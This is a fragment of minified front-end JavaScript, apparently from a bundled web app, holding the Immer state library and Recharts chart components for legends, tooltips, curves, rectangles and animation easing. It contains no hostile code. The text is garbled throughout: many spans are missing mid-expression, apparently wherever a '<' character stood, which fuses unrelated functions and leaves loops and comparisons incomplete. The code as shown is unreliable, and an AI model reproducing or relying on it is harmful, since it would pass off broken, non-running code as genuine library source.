e=Qa();if(e==="horizontal"||e==="vertical")return e},Vk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},kT=()=>{var e=Qa();return e!==void 0},Bo=e=>{var t=Qe(),n=In(),{width:r,height:i}=e,a=Ex(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&ai(o)&&ai(l)&&t(_6({width:o,height:l}))},[t,n,o,l]),null},Hk=Symbol.for("immer-nothing"),fy=Symbol.for("immer-draftable"),en=Symbol.for("immer-state");function Cn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var yo=Object.getPrototypeOf;function Ba(e){return!!e&&!!e[en]}function Hi(e){var t;return e?Kk(e)||Array.isArray(e)||!!e[fy]||!!((t=e.constructor)!=null&&t[fy])||Fo(e)||wd(e):!1}var NT=Object.prototype.constructor.toString(),py=new WeakMap;function Kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=py.get(n);return r===void 0&&(r=Function.toString.call(n),py.set(n,r)),r===NT}function qc(e,t,n=!0){bd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function bd(e){const t=e[en];return t?t.type_:Array.isArray(e)?1:Fo(e)?2:wd(e)?3:0}function Pm(e,t){return bd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function qk(e,t,n){const r=bd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function ST(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function Fo(e){return e instanceof Map}function wd(e){return e instanceof Set}function bi(e){return e.copy_||e.base_}function Em(e,t){if(Fo(e))return new Map(e);if(wd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[en];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Nl,add:Nl,clear:Nl,delete:Nl}),Object.freeze(e),t&&Object.values(e).forEach(n=>_x(n,!0))),e}function zT(){Cn(2)}var Nl={value:zT};function jd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var CT={};function Ki(e){const t=CT[e];return t||Cn(0,e),t}var bo;function Yk(){return bo}function PT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function my(e,t){t&&(Ki("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Am(e){_m(e),e.drafts_.forEach(ET),e.drafts_=null}function _m(e){e===bo&&(bo=e.parent_)}function hy(e){return bo=PT(bo,e)}function ET(e){const t=e[en];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function xy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[en].modified_&&(Am(t),Cn(4)),Hi(e)&&(e=Yc(t,e),t.parent_||Gc(t,e)),t.patches_&&Ki("Patches").generateReplacementPatches_(n[en].base_,e,t.patches_,t.inversePatches_)):e=Yc(t,n,[]),Am(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Hk?e:void 0}function Yc(e,t,n){if(jd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[en];if(!i)return qc(t,(a,o)=>vy(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Gc(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),qc(o,(c,u)=>vy(e,i,a,c,u,n,l),r),Gc(e,a,!1),n&&e.patches_&&Ki("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function vy(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=jd(i);if(!(l&&!o)){if(Ba(i)){const c=a&&t&&t.type_!==3&&!Pm(t.assigned_,r)?a.concat(r):void 0,u=Yc(e,i,c);if(qk(n,r,u),Ba(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(Hi(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;Yc(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(Fo(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Gc(e,i)}}}function Gc(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&_x(t,n)}function AT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Yk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Ox;n&&(i=[r],a=wo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Ox={get(e,t){if(t===en)return e;const n=bi(e);if(!Pm(n,t))return _T(e,n,t);const r=n[t];return e.finalized_||!Hi(r)?r:r===Ff(e.base_,t)?(Wf(e),e.copy_[t]=Tm(r,e)):r},has(e,t){return t in bi(e)},ownKeys(e){return Reflect.ownKeys(bi(e))},set(e,t,n){const r=Gk(bi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Ff(bi(e),t),a=i==null?void 0:i[en];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(ST(n,i)&&(n!==void 0||Pm(e.base_,t)))return!0;Wf(e),Om(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return Ff(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Wf(e),Om(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=bi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Cn(11)},getPrototypeOf(e){return yo(e.base_)},setPrototypeOf(){Cn(12)}},wo={};qc(Ox,(e,t)=>{wo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});wo.deleteProperty=function(e,t){return wo.set.call(this,e,t,void 0)};wo.set=function(e,t,n){return Ox.set.call(this,e[0],t,n,e[0])};function Ff(e,t){const n=e[en];return(n?bi(n):e)[t]}function _T(e,t,n){var i;const r=Gk(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Gk(e,t){if(!(t in e))return;let n=yo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=yo(n)}}function Om(e){e.modified_||(e.modified_=!0,e.parent_&&Om(e.parent_))}function Wf(e){e.copy_||(e.copy_=Em(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Cn(6),r!==void 0&&typeof r!="function"&&Cn(7);let i;if(Hi(t)){const a=hy(this),o=Tm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Am(a):_m(a)}return my(a,r),xy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Hk&&(i=void 0),this.autoFreeze_&&_x(i,!0),r){const a=[],o=[];Ki("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Cn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){Hi(e)||Cn(8),Ba(e)&&(e=TT(e));const t=hy(this),n=Tm(e,void 0);return n[en].isManual_=!0,_m(t),n}finishDraft(e,t){const n=e&&e[en];(!n||!n.isManual_)&&Cn(9);const{scope_:r}=n;return my(r,t),xy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=Ki("Patches").applyPatches_;return Ba(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Tm(e,t){const n=Fo(e)?Ki("MapSet").proxyMap_(e,t):wd(e)?Ki("MapSet").proxySet_(e,t):AT(e,t);return(t?t.scope_:Yk()).drafts_.push(n),n}function TT(e){return Ba(e)||Cn(10,e),Xk(e)}function Xk(e){if(!Hi(e)||jd(e))return e;const t=e[en];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Em(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Em(e,!0);return qc(n,(i,a)=>{qk(n,i,Xk(a))},r),t&&(t.finalized_=!1),n}var MT=new OT;MT.produce;var LT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Zk=Ut({name:"legend",initialState:LT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:De()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:De()},removeLegendPayload:{reducer(e,t){var n=_n(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:De()}}}),{setLegendSize:xV,setLegendSettings:vV,addLegendPayload:Qk,replaceLegendPayload:Jk,removeLegendPayload:eN}=Zk.actions,IT=Zk.reducer;function Mm(){return Mm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=ea.separator,contentStyle:n,itemStyle:r,labelStyle:i=ea.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=ea.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?id(a,l):a).map((N,z)=>{if(N.type==="none")return null;var O=N.formatter||o||BT,{value:_,name:T}=N,E=_,U=T;if(O){var K=O(_,T,N,z,a);if(Array.isArray(K))[E,U]=K;else if(K!=null)E=K;else return null}var R=vs(vs({},ea.itemStyle),{},{color:N.color||ea.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:R},hr(U)?p.createElement("span",{className:"recharts-tooltip-item-name"},U):null,hr(U)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},E),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=vs(vs({},ea.contentStyle),n),g=vs({margin:0},i),y=!wt(d),v=y?d:"",b=Ve("recharts-default-tooltip",c),w=Ve("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Mm({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},gs="recharts-tooltip-wrapper",WT={visibility:"hidden"};function UT(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ve(gs,{["".concat(gs,"-right")]:ue(n)&&t&&ue(t.x)&&n>=t.x,["".concat(gs,"-left")]:ue(n)&&t&&ue(t.x)&&n=t.y,["".concat(gs,"-top")]:ue(r)&&t&&ue(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function VT(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function HT(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=yy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=yy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=VT({translateX:f,translateY:m,useTranslate3d:c})):d=WT,{cssProperties:d,cssClasses:UT({translateX:f,translateY:m,coordinate:n})}}function by(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sl(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=HT({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:Sl(Sl({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=Sl(Sl({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var tN=()=>{var e;return(e=pe(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Im(){return Im=Object.assign?Object.assign.bind():function(e){for(var t=1;tye(e.x)&&ye(e.y),Ny=e=>e.base!=null&&Xc(e.base)&&Xc(e),ys=e=>e.x,bs=e=>e.y,QT=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Io(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=ky["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return ky[n]||Xu},Sy={connectNulls:!1,type:"linear"},JT=e=>{var{type:t=Sy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Sy.connectNulls}=e,o=QT(t,i),l=a?n.filter(Xc):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>jy(jy({},x),{},{base:r[g]}));i==="vertical"?c=vl().y(bs).x1(ys).x0(x=>x.base.x):c=vl().x(ys).y1(bs).y0(x=>x.base.y);var d=c.defined(Ny).curve(o),f=a?u.filter(Ny):u;return d(f)}var m;i==="vertical"&&ue(r)?m=vl().y(bs).x1(ys).x0(r):ue(r)?m=vl().x(ys).y1(bs).y0(r):m=f5().x(ys).y(bs);var h=m.defined(Xc).curve(o);return h(l)},Pa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=Qa();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?JT(o):r;return p.createElement("path",Im({},mr(e),dx(e),{className:Ve("recharts-curve",t),d:l===null?void 0:l,ref:i}))},eM=["x","y","top","left","width","height","className"];function Dm(){return Dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),lM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=aM(e,eM),u=tM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!ue(t)||!ue(n)||!ue(a)||!ue(o)||!ue(r)||!ue(i)?null:p.createElement("path",Dm({},At(u),{className:Ve("recharts-cross",l),d:oM(t,n,a,o,r,i)}))};function cM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Cy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Py(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),nN=(e,t,n)=>e.map(r=>"".concat(pM(r)," ").concat(t,"ms ").concat(n)).join(","),mM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),jo=(e,t)=>Object.keys(t).reduce((n,r)=>Py(Py({},n),{},{[r]:e(r,t[r])}),{});function Ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;te+(t-e)*n,Rm=e=>{var{from:t,to:n}=e;return t!==n},rN=(e,t,n)=>{var r=jo((i,a)=>{if(Rm(a)){var[o,l]=e(a.from,a.to,a.velocity);return rt(rt({},a),{},{from:o,velocity:l})}return a},t);return n<1?jo((i,a)=>Rm(a)&&r[i]!=null?rt(rt({},a),{},{velocity:Zc(a.velocity,r[i].velocity,n),from:Zc(a.from,r[i].from,n)}):a,t):rN(e,r,n-1)};function gM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>rt(rt({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>jo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Rm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=rN(n,l,x),i(rt(rt(rt({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function yM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:rt(rt({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=jo((g,y)=>Zc(...y,n(m)),c);if(a(rt(rt(rt({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=jo((g,y)=>Zc(...y,n(1)),c);a(rt(rt(rt({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const bM=(e,t,n,r,i,a)=>{var o=mM(e,t);return n==null?()=>(i(rt(rt({},e),t)),()=>{}):n.isStepper===!0?gM(e,t,n,o,i,a):yM(e,t,n,r,o,i,a)};var Qc=1e-4,iN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],aN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),Ay=(e,t)=>n=>{var r=iN(e,t);return aN(r,n)},wM=(e,t)=>n=>{var r=iN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return aN(i,n)},jM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},kM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=Ay(e,n),a=Ay(t,r),o=wM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return _y(e);case"spring":return SM();default:if(e.split("(")[0]==="cubic-bezier")return _y(e)}return typeof e=="function"?e:null};function CM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class PM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function EM(){return CM(new PM)}var AM=p.createContext(EM);function _M(e,t){var n=p.useContext(AM);return p.useMemo(()=>t??n(e),[e,t,n])}var OM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),kd={isSsr:OM()},TM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Oy={t:0},Uf={t:1};function Nd(e){var t=rn(e,TM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!kd.isSsr:n,f=_M(t.animationId,t.animationManager),[m,h]=p.useState(d?Oy:Uf),x=p.useRef(null);return p.useEffect(()=>{d||h(Uf)},[d]),p.useEffect(()=>{if(!d||!r)return Za;var g=bM(Oy,Uf,zM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function Sd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(ho(t)),r=p.useRef(e);return r.current!==e&&(n.current=ho(t),r.current=e),n.current}var MM=["radius"],LM=["radius"],Ty,My,Ly,Iy,Dy,Ry,$y,By,Fy,Wy;function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vy(e){for(var t=1;t{var a=Ur(n),o=Ur(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Ke(Ty||(Ty=Rn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Ke(My||(My=Rn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Ke(Ly||(Ly=Rn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Ke(Iy||(Iy=Rn(["A ",",",",0,0,",`, + `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Ke(Dy||(Dy=Rn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Ke(Ry||(Ry=Rn(["A ",",",",0,0,",`, + `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Ke($y||($y=Rn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Ke(By||(By=Rn(["A ",",",",0,0,",`, + `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Ke(Fy||(Fy=Rn(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Ke(Wy||(Wy=Rn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},qy={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},sN=e=>{var t=rn(e,qy),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=Sd(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Ve("recharts-rectangle",d);if(!g){var N=At(t),{radius:z}=N,O=Hy(N,MM);return p.createElement("path",Jc({},O,{x:Ur(a),y:Ur(o),width:Ur(l),height:Ur(c),radius:typeof u=="number"?u:void 0,className:S,d:Ky(a,o,l,c,u)}))}var _=y.current,T=v.current,E=b.current,U=w.current,K="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),I=nN(["strokeDasharray"],m,typeof f=="string"?f:qy.animationEasing);return p.createElement(Nd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var B=gt(_,l,F),V=gt(T,c,F),$=gt(E,a,F),q=gt(U,o,F);n.current&&(y.current=B,v.current=V,b.current=$,w.current=q);var Y;x?F>0?Y={transition:I,strokeDasharray:R}:Y={strokeDasharray:K}:Y={strokeDasharray:R};var ie=At(t),{radius:ae}=ie,fe=Hy(ie,LM);return p.createElement("path",Jc({},fe,{radius:typeof u=="number"?u:void 0,className:S,d:Ky($,q,B,V,u),ref:n,style:Vy(Vy({},Y),t.style)}))})};function Yy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gy(e){for(var t=1;te*180/Math.PI,et=(e,t,n,r)=>({x:e+Math.cos(-eu*r)*n,y:t+Math.sin(-eu*r)*n}),oN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},VM=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},HM=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=VM({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:UM(c),angleInRadian:c}},KM=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},qM=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},YM=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=HM({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return 